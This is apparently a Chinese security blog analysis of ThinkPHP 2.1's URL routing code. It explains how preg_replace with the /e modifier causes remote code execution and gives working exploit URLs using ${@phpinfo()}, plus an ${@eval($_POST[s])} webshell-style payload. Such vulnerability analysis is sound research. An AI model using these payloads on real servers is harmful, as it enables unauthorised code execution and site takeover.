thinkphp 2.1代码执行及路由分析
Dispatcher.class.php这个文件中是url路由,由于第一次正式看路由那块,所以就从头开始一行一行看把。
首先是dispatch函数
是37行到140行
这个函数是做映射用,把url映射到控制器对我们来说算是最重要的一块
$urlMode = C('URL_MODEL');
if($urlMode == URL_REWRITE ) {
//当前项目地址
$url = dirname(_PHP_FILE_);
if($url == '/' || $url == '\\')
$url = '';
define('PHP_FILE',$url);
}elseif($urlMode == URL_COMPAT){
define('PHP_FILE',_PHP_FILE_.'?'.C('VAR_PATHINFO').'=');
}else {
//当前项目地址
define('PHP_FILE',_PHP_FILE_);
一开始就调用了一个名叫C的函数
function C($name=null, $value=null) {
static $_config = array();
// 无参数时获取所有
if (empty($name))
return $_config;
// 优先执行设置获取或赋值
if (is_string($name)) {
if (!strpos($name, '.')) {
$name = strtolower($name);
if (is_null($value))
return isset($_config[$name]) ? $_config[$name] : null;
$_config[$name] = $value;
return;
}
// 二维数组设置和获取支持
$name = explode('.', $name);
$name[0] = strtolower($name[0]);
if (is_null($value))
return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : null;
$_config[$name[0]][$name[1]] = $value;
return;
}
// 批量设置
if (is_array($name))
return $_config = array_merge($_config, array_change_key_case($name));
return null; // 避免非法参数
}
可以看出这是一个对传入参数进行获取处理以及过滤的函数
而URL_MODEL是一个常量表示url的四种模式
'URL_MODEL' => 1, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式,提供最好的用户体验和SEO支持
根据模式的不同url格式也有不同。这里到没有什么太多可说的。接下来是一长串对二级域名进行处理的,也先跳过。
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
// 获取分组 模块和操作名称
if (C('APP_GROUP_LIST'))
{
define('GROUP_NAME', self::getGroup(C('VAR_GROUP')));
// 加载分组配置文件
if(is_file(CONFIG_PATH.GROUP_NAME.'/config.php'))
C(include CONFIG_PATH.GROUP_NAME.'/config.php');
// 加载分组函数文件
if(is_file(COMMON_PATH.GROUP_NAME.'/function.php'))
include COMMON_PATH.GROUP_NAME.'/function.php';
}
define('MODULE_NAME',self::getModule(C('VAR_MODULE')));
define('ACTION_NAME',self::getAction(C('VAR_ACTION')));
// URL常量
// 当前页面地址
//define('__SELF__',$_SERVER['PHP_SELF']);
define('__SELF__',$_SERVER['REQUEST_URI']);
define('__INFO__',$_SERVER['PATH_INFO']);
// 当前项目地址
define('__APP__',PHP_FILE);
// 当前模块和分组地址
$module = defined('P_MODULE_NAME')?P_MODULE_NAME:MODULE_NAME;
if(defined('GROUP_NAME')) {
$group = C('URL_CASE_INSENSITIVE') ?strtolower(GROUP_NAME):GROUP_NAME;
define('__GROUP__',(!empty($domainGroup) || GROUP_NAME == C('DEFAULT_GROUP') )?__APP__ : __APP__.'/'.$group);
define('__URL__',!empty($domainModule)?__GROUP__.$depr : __GROUP__.$depr.$module);
}else{
define('__URL__',!empty($domainModule)?__APP__.'/' : __APP__.'/'.$module);
}
// 当前操作地址
define('__ACTION__',__URL__.$depr.ACTION_NAME);
//保证$_REQUEST正常取值
$_REQUEST = array_merge($_POST,$_GET);
}
路由控制这块重点应该是这串代码,所以重点看下。
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
这一段代码是对分组进行处理首先判断是否有分组,默认是否能从分组获取变量。$paths=explode($depr,trim($_SERVER['PATH_INFO'],'/'));$_SERVER['PATH_INFO']是返回用户查询语句查询的真实脚本后面的url真实路径
比如http://127.0.0.1/1/url.php/test/test/1.php?test=123这种格式会返回url.php后面的路径也就是/test/test/1.php。
而之前 $depr = C('URL_PATHINFO_DEPR'); C('URL_PATHINFO_DEPR')是PATHINFO模式下的分割符号。
所以这段代码本地测试了一下经过exlode处理后上面那段url的返回值是
Array ([0] => [1] => test [2] => test [3] => 1.php)
array_shift是去除数组的开头单元。那么$var最后的值是去除了[0]这单元的数组或者为空。
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这一段就是thinkphp2.1命令执行的问题所在了,看看这段代码到底做了什么。
这里其实是因为preg_replace \e修饰符的问题,这个修饰符会把第二个参数当成php代码执行。简单结合上面的语句来说就是$var['\1']="\2";它把这个当成了一个回调函数,而1和2是implode($depr,$paths)执行结果来代替。
本地写语句测试了一下
<?php
$depr='/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var=array();
$res= preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";', implode($depr,$paths));
print_r($var);
?>
当输入http://127.0.0.1/1/test/test/preg_replace.php/module/%7B@phpinfo()%7D
这种url时会打印出Array ( [module] => {@phpinfo()} )
很显然是把脚本后面的url路径直接动态赋值给数组。然而刚刚说的\e这个修饰符把这个参数当成了php代码执行。而且"\2"这里还是用的双引号,双引号中php的特殊字符是可以被解析的。这就导致了任意代码执行。
当输入http://127.0.0.1/1/test/test/preg_replace.php/1/${@phpinfo()}时就会执行phpinfo()
然后我本地做了一个测试
<?php
$a=array(0=>"${@phpinfo()};",1=>'b',2=>'c');
print_r($a);
?>
这样写phpinfo()是可以执行成功的。然后把中间的代码改成了
$a=array(0=>"${@eval($_POST[s])};",1=>'b',2=>'c')。
仔细想想其实因为数组赋值的问题,你用$标识一个变量之后,他是把变量的值赋给0所以就会导致执行。
而这个漏洞的利用格式为什么必须是index.php/xxx/xxx/xxx/${@phpinfo()}
是因为这里还是在这个文件,214到224行
foreach ($routes as $key=>$route){
if(0 === stripos($regx.$depr,$route[0].$depr)) {
// 简单路由定义:array('路由定义','分组/模块/操作名', '路由对应变量','额外参数'),
$var = self::parseUrl($route[1]);
// 获取当前路由参数对应的变量
$paths = explode($depr,trim(str_ireplace($route[0].$depr,$depr,$regx),$depr));
$vars = explode(',',$route[2]);
for($i=0;$i<count($vars);$i++)
$var[$vars[$i]] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
thinkphp路由的格式是分组/模块/操作名/参数。而参数是被带入执行的。以这种格式传入的会执行命令。